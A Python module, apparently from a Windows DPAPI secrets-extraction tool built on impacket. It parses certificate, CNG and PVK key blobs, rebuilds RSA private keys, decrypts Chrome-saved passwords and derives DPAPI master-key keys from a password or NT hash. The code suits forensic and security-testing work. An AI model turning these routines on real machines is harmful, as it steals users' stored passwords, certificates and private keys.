from binascii import hexlify
from hashlib import pbkdf2_hmac
from Cryptodome.Cipher import AES
from Cryptodome.Hash import HMAC, SHA1, MD4
from Cryptodome.PublicKey import RSA
from Cryptodome.Util.number import bytes_to_long
from impacket.dpapi import DPAPI_BLOB
from impacket.structure import Structure


# https://blog.nviso.eu/2019/08/28/extracting-certificates-from-the-windows-registry/
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gpef/e051aba9-c9df-4f82-a42a-c13012c9d381
# WARNING: CRAPPY STRUCT INCOMING
class CERTBLOB_PROPERTY(Structure):
    structure = (
        ("PropertyID", "<I=0"),
        ("Reserved", "<I=0"),
        ("Length", "<I=0"),
        ("_Value", "_-Value", 'self["Length"]'),
        ("Value", ":"),
    )


class CERTBLOB:
    def __init__(self, data=None, alignment=0):
        self.attributes = 0
        self.der = None
        if data is not None:
            self.attributes = []
            remaining = data
            while len(remaining) > 0:
                attr = CERTBLOB_PROPERTY(remaining)
                self.attributes.append(attr)
                if attr["PropertyID"] == 32:
                    self.der = attr["Value"]
                remaining = remaining[len(attr) :]

    def dump(self):
        print("[CERTBLOB]")
        for attr in self.attributes:
            print("{}:\t\t{}".format(attr["PropertyID"], attr["Value"]))
        if self.der is not None:
            print()
            print("DER             : %s " % (self.der))

# CNG PART
class CNG_PROPERTY(Structure):
    structure = (
        ("StructLen", "<L=0"),
        ("Type", "<L=0"),
        ("Unknown", "<L=0"),
        ("NameLen", "<L=0"),
        ("PropertyLen", "<L=0"),
        ("_Name", "_-Name", 'self["NameLen"]'),
        ("Name", ":"),
        ("_Property", "_-Property", 'self["PropertyLen"]'),
        ("Property", ":"),
    )

    def dump(self):
        print("[CNG PROPERTY]")
        print("StructLen        : %8x (%d)" % (self["StructLen"], self["StructLen"]))
        print("Type             : %8x (%d)" % (self["Type"], self["Type"]))
        print("Unknown          : %8x (%d)" % (self["Unknown"], self["Unknown"]))
        print("NameLen          : %8x (%d)" % (self["NameLen"], self["NameLen"]))
        print("PropertyLen      : %8x (%d)" % (self["PropertyLen"], self["PropertyLen"]))
        print("Name             : %s" % (self["Name"].decode("utf-16le").rstrip("\0")))
        print("Property         : %s" % hexlify(self["Property"]))

class CNG_PROPERTIES:
    def __init__(self, data=None, alignment=0):
        remaining = data
        self.properties = []
        while len(remaining) > 0:
            prop = CNG_PROPERTY(remaining)
            self.properties.append(prop)
            remaining = remaining[len(prop) :]
    
    def __len__(self):
        length = 0
        for prop in self.properties:
            length += len(prop)
        return length
    
    def dump(self):
        for prop in self.properties:
            prop.dump()

class CNG_BLOB(Structure):
    structure = (
        ("Version", "<L=1"),
        ("Unknown", "<L=0"),
        ("NameLen", "<L=0"),
        ("Type", "<L=0"),
        ("PublicPropLen", "<L=0"),
        ("PrivatePropLen", "<L=0"),
        ("PrivateKeyLen", "<L=0"),
        ("Unknown2", "16s=b'\\x00'*16"),
        ("_Name", "_-Name", 'self["NameLen"]'),
        ("Name", ":"),
        ("_PublicProperties", "_-PublicProperties", 'self["PublicPropLen"]'),
        ("PublicProperties", ":", CNG_PROPERTIES),
        ("_PrivateProperties", "_-PrivateProperties", 'self["PrivatePropLen"]'),
        ("PrivateProperties", ":", DPAPI_BLOB),
        ("_PrivateKey", "_-PrivateKey", 'self["PrivateKeyLen"]'),
        ("PrivateKey", ":", DPAPI_BLOB),
    )

    def dump(self):
        print("[CNG BLOB]")
        print("Version          : %8x (%d)" % (self["Version"], self["Version"]))
        print("Unknown          : %8x (%d)" % (self["Unknown"], self["Unknown"]))
        print("NameLen          : %8x (%d)" % (self["NameLen"], self["NameLen"]))
        print("Type             : %8x (%d)" % (self["Type"], self["Type"]))
        print("PublicPropLen    : %8x (%d)" % (self["PublicPropLen"], self["PublicPropLen"]))
        print("PrivatePropLey   : %8x (%d)" % (self["PrivatePropLen"], self["PrivatePropLen"]))
        print("PrivateKeyLen    : %8x (%d)" % (self["PrivateKeyLen"], self["PrivateKeyLen"]))
        print("Unknown2         : %s " % (self["Unknown2"]))
        print("Name             : %s" % (self["Name"].decode("utf-16le").rstrip("\0")))
        print()
        print("PublicProperties:")
        self["PublicProperties"].dump()
        print()
        print("PrivateProperties:")
        self["PrivateProperties"].dump()
        print()
        print("PrivateKey:")
        self["PrivateKey"].dump()

class CHROME_KEY_DATA_BLOB(Structure):
    structure = (
        ("Magic", "<I"),
        ("Version", "<I"),
        ("KeyLen", "<I"),
        ("_Key", "_-Key", 'self["KeyLen"]'),
        ("Key", ":"),
        ("Remaining", ":")
    )

    def dump(self):
        print("[BCRYPT KEY DATA]")
        print("Magic            : %4x (%s)" % (self["Magic"], self["Magic"]))
        print("Version          : %4x (%d)" % (self["Version"], self["Version"]))
        print("KeyLen           : %4x (%d)" % (self["KeyLen"], self["KeyLen"]))
        print("Key              : %s" % hexlify(self["Key"]))
        print("Remaining              : %s" % hexlify(self["Remaining"]))

# https://github.com/SecureAuthCorp/impacket/pull/1120
# Private Decrypted Private Key
class PRIVATE_KEY_RSA(Structure):
    structure = (
        ("magic", "<L=0"),
        ("len1", "<L=0"),
        ("bitlen", "<L=0"),
        ("unk", "<L=0"),
        ("pubexp", "<L=0"),
        ("_modulus", "_-modulus", 'self["len1"]'),
        ("modulus", ":"),
        ("_prime1", "_-prime1", 'self["len1"] // 2'),
        ("prime1", ":"),
        ("_prime2", "_-prime2", 'self["len1"] // 2'),
        ("prime2", ":"),
        ("_exponent1", "_-exponent1", 'self["len1"] // 2'),
        ("exponent1", ":"),
        ("_exponent2", "_-exponent2", 'self["len1"]// 2'),
        ("exponent2", ":"),
        ("_coefficient", "_-coefficient", 'self["len1"] // 2'),
        ("coefficient", ":"),
        ("_privateExponent", "_-privateExponent", 'self["len1"]'),
        ("privateExponent", ":"),
    )

    def dump(self):
        print("magic             : %s " % (self["magic"]))
        print("len1              : %8x (%d)" % (self["len1"], self["len1"]))
        print("bitlen            : %8x (%d)" % (self["bitlen"], self["bitlen"]))
        print("pubexp            : %8x, (%d)" % (self["pubexp"], self["pubexp"]))
        print("modulus           : %s" % (hexlify(self["modulus"])))
        print("prime1            : %s" % (hexlify(self["prime1"])))
        print("prime2            : %s" % (hexlify(self["prime2"])))
        print("exponent1         : %s" % (hexlify(self["exponent1"])))
        print("exponent2         : %s" % (hexlify(self["exponent2"])))
        print("coefficient       : %s" % (hexlify(self["coefficient"])))
        print("privateExponent   : %s" % (hexlify(self["privateExponent"])))

    def __init__(self, data=None, alignment=0):
        Structure.__init__(self, data, alignment)
        chunk = int(self["bitlen"] / 16)
        self["modulus"] = self["modulus"][: chunk * 2]
        self["prime1"] = self["prime1"][:chunk]
        self["prime2"] = self["prime2"][:chunk]
        self["exponent1"] = self["exponent1"][:chunk]
        self["exponent2"] = self["exponent2"][:chunk]
        self["coefficient"] = self["coefficient"][:chunk]
        self["privateExponent"] = self["privateExponent"][: chunk * 2]


# PVK DPAPI BLOB when it has the SIG data
class PVKFile_SIG(Structure):
    structure = (
        ("Version", "<L=0"),
        ("unk1", "<L=0"),
        ("descrLen", "<L=0"),
        ("SigHeadLen", "<L=0"),
        ("SigPrivKeyLen", "<L=0"),
        ("HeaderLen", "<L=0"),
        ("PrivKeyLen", "<L=0"),
        ("crcLen", "<L=0"),
        ("SigFlagsLen", "<L=0"),
        ("FlagsLen", "<L=0"),
        ("_Description", "_-Description", 'self["descrLen"]'),
        ("Description", ":"),
        ("unk2", "<LLLLL=0"),
        ("_Rsaheader_new", "_-Rsaheader_new", 'self["SigHeadLen"]'),
        ("Rsaheader_new", ":"),
        ("_Blob", "_-Blob", 'self["SigPrivKeyLen"]'),
        ("Blob", ":", DPAPI_BLOB),
        ("_ExportFlag", "_-ExportFlag", 'self["SigFlagsLen"]'),
        ("ExportFlag", ":", DPAPI_BLOB),
    )

    def dump(self):
        print("[PVKFILE]")
        print("[RSAHEADER]")
        print("Version            : %8x (%d)" % (self["Version"], self["Version"]))
        print("descrLen           : %8x (%d)" % (self["descrLen"], self["descrLen"]))
        print(
            "SigHeadLen         : %8x (%d)" % (self["SigHeadLen"], self["SigHeadLen"])
        )
        print(
            "SigPrivKeyLen      : %8x (%d)"
            % (self["SigPrivKeyLen"], self["SigPrivKeyLen"])
        )
        print("HeaderLen          : %.8x (%d)" % (self["HeaderLen"], self["HeaderLen"]))
        print(
            "PrivKeyLen         : %.8x (%d)" % (self["PrivKeyLen"], self["PrivKeyLen"])
        )
        print("crcLen             : %.8x (%d)" % (self["crcLen"], self["crcLen"]))
        print(
            "SigFlagsLen        : %.8x (%d)"
            % (self["SigFlagsLen"], self["SigFlagsLen"])
        )
        print("FlagsLen           : %.8x (%d)" % (self["FlagsLen"], self["FlagsLen"]))
        print("Description   : %s" % (self["Description"]))
        print("Blank   : %s" % (self["unk2"]))
        print("RsaHeader : %s" % (hexlify(self["Rsaheader_new"]).decode("latin-1")))
        print("[PRIVATE KEY]")
        print(self["Blob"].dump())
        print("[FLAGS]")
        print(self["ExportFlag"].dump())


# PVK DPAPI BLOB without SIG
class PVKFile(Structure):
    structure = (
        ("Version", "<L=0"),
        ("unk1", "<L=0"),
        ("descrLen", "<L=0"),
        ("SiPublicKeyLen", "<L=0"),
        ("SiPrivKeyLen", "<L=0"),
        ("ExPublicKeyLen", "<L=0"),
        ("ExPrivKeyLen", "<L=0"),
        ("HashLen", "<L=0"),
        ("SiExportFlagLen", "<L=0"),
        ("ExExportFlagLen", "<L=0"),
        ("_Description", "_-Description", 'self["descrLen"]'),
        ("Description", ":"),
        ("unk2", "<LLLLL=0"),
        ("_PublicKey", "_-PublicKey", 'self["ExPublicKeyLen"]'),
        ("PublicKey", ":"),
        ("_Blob", "_-Blob", 'self["ExPrivKeyLen"]'),
        ("Blob", ":", DPAPI_BLOB),
        ("_ExportFlag", "_-ExportFlag", 'self["ExExportFlagLen"]'),
        ("ExportFlag", ":", DPAPI_BLOB),
    )

    def dump(self):
        print("[PVKFILE]")
        print("[RSAHEADER]")
        print("Version            : %8x (%d)" % (self["Version"], self["Version"]))
        print("descrLen           : %8x (%d)" % (self["descrLen"], self["descrLen"]))
        print(
            "SiPublicKeyLen         : %8x (%d)"
            % (self["SiPublicKeyLen"], self["SiPublicKeyLen"])
        )
        print(
            "SiPrivKeyLen      : %8x (%d)"
            % (self["SiPrivKeyLen"], self["SiPrivKeyLen"])
        )
        print(
            "ExPublicKeyLen          : %.8x (%d)"
            % (self["ExPublicKeyLen"], self["ExPublicKeyLen"])
        )
        print(
            "ExPrivKeyLen         : %.8x (%d)"
            % (self["ExPrivKeyLen"], self["ExPrivKeyLen"])
        )
        print("HashLen             : %.8x (%d)" % (self["HashLen"], self["HashLen"]))
        print(
            "SiExportFlagLen        : %.8x (%d)"
            % (self["SiExportFlagLen"], self["SiExportFlagLen"])
        )
        print(
            "ExExportFlagLen           : %.8x (%d)"
            % (self["ExExportFlagLen"], self["ExExportFlagLen"])
        )
        print("Description   : %s" % (self["Description"]))
        print("Blank   : %s" % (self["unk2"]))
        print("PublicKey : %s" % (hexlify(self["PublicKey"]).decode("latin-1")))
        print("[PRIVATE KEY]")
        print(self["Blob"].dump())
        print("[FLAGS]")
        print(self["ExportFlag"].dump())


# This class is the same as the previous two, its only used to see wich one of the previous clasess we will use
# sorry
class PVKHeader(Structure):
    structure = (
        ("Version", "<L=0"),
        ("unk1", "<L=0"),
        ("descrLen", "<L=0"),
        ("SigHeadLen", "<L=0"),
        ("SigPrivKeyLen", "<L=0"),
        ("HeaderLen", "<L=0"),
        ("PrivKeyLen", "<L=0"),
        ("crcLen", "<L=0"),
        ("SigFlagsLen", "<L=0"),
        ("FlagsLen", "<L=0"),
        ("_Description", "_-Description", 'self["descrLen"]'),
        ("Description", ":"),
        ("Remaining", ":"),
    )

    def dump(self):
        print("[PVKFILE]")
        print("[RSAHEADER]")
        print("Version            : %8x (%d)" % (self["Version"], self["Version"]))
        print("descrLen           : %8x (%d)" % (self["descrLen"], self["descrLen"]))
        print(
            "SigHeadLen         : %8x (%d)" % (self["SigHeadLen"], self["SigHeadLen"])
        )
        print(
            "SigPrivKeyLen      : %8x (%d)"
            % (self["SigPrivKeyLen"], self["SigPrivKeyLen"])
        )
        print("HeaderLen          : %.8x (%d)" % (self["HeaderLen"], self["HeaderLen"]))
        print(
            "PrivKeyLen         : %.8x (%d)" % (self["PrivKeyLen"], self["PrivKeyLen"])
        )
        print("crcLen             : %.8x (%d)" % (self["crcLen"], self["crcLen"]))
        print(
            "SigFlagsLen        : %.8x (%d)"
            % (self["SigFlagsLen"], self["SigFlagsLen"])
        )
        print("FlagsLen           : %.8x (%d)" % (self["FlagsLen"], self["FlagsLen"]))
        print("Description   : %s" % (self["Description"]))


def pvkblob_to_pkcs1(key):
    """
    Modified from impacket dpapi.py
    parse private key into pkcs#1 format
    :param key:
    :return:
    """
    modulus = bytes_to_long(key["modulus"][::-1])  # n
    prime1 = bytes_to_long(key["prime1"][::-1])  # p
    prime2 = bytes_to_long(key["prime2"][::-1])  # q
    _ = bytes_to_long(key["exponent1"][::-1])
    _ = bytes_to_long(key["exponent2"][::-1])
    _ = bytes_to_long(key["coefficient"][::-1])
    privateExp = bytes_to_long(key["privateExponent"][::-1])  # d
    pubExp = int(key["pubexp"])  # e

    return RSA.construct((modulus, pubExp, privateExp, prime1, prime2))


def decrypt_chrome_password(encrypted_password: str, aeskey: bytes):
    version, rest = encrypted_password[:3], encrypted_password[3:]
    iv, payload = rest[:12], rest[12:]
    cipher = AES.new(aeskey, AES.MODE_GCM, iv)
    decrypted = cipher.decrypt(payload)
    decrypted = decrypted[:-16]
    return decrypted or None

def deriveKeysFromUser(sid, password):
    password = password.encode("utf-16le")
    z_sid = (sid + "\0").encode("utf-16le")
    password_md4 = MD4.new(password).digest()
    # Will generate two keys, one with SHA1 and another with MD4
    key1 = HMAC.new(SHA1.new(password).digest(), z_sid, SHA1).digest()
    key2 = HMAC.new(password_md4, z_sid, SHA1).digest()
    # For Protected users
    sid = sid.encode("utf-16le")
    tmpKey = pbkdf2_hmac("sha256", password_md4, sid, 10000)
    tmpKey2 = pbkdf2_hmac("sha256", tmpKey, sid, 1)[:16]
    key3 = HMAC.new(tmpKey2, z_sid, SHA1).digest()[:20]

    return key1, key2, key3

def byte_xor(ba1, ba2):
    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2, strict=False)])

def deriveKeysFromUserkey(sid, nthash):
    key1 = HMAC.new(nthash, (sid + "\0").encode("utf-16le"), SHA1).digest()  # SHA1
    key2 = None

    if len(nthash) != 20:
        # Assume MD4
        # For Protected users
        tmpKey = pbkdf2_hmac("sha256", nthash, sid.encode("utf-16le"), 10000)
        tmpKey2 = pbkdf2_hmac("sha256", tmpKey, sid.encode("utf-16le"), 1)[:16]
        key2 = HMAC.new(tmpKey2, (sid + "\0").encode("utf-16le"), SHA1).digest()[:20]
    return key1, key2
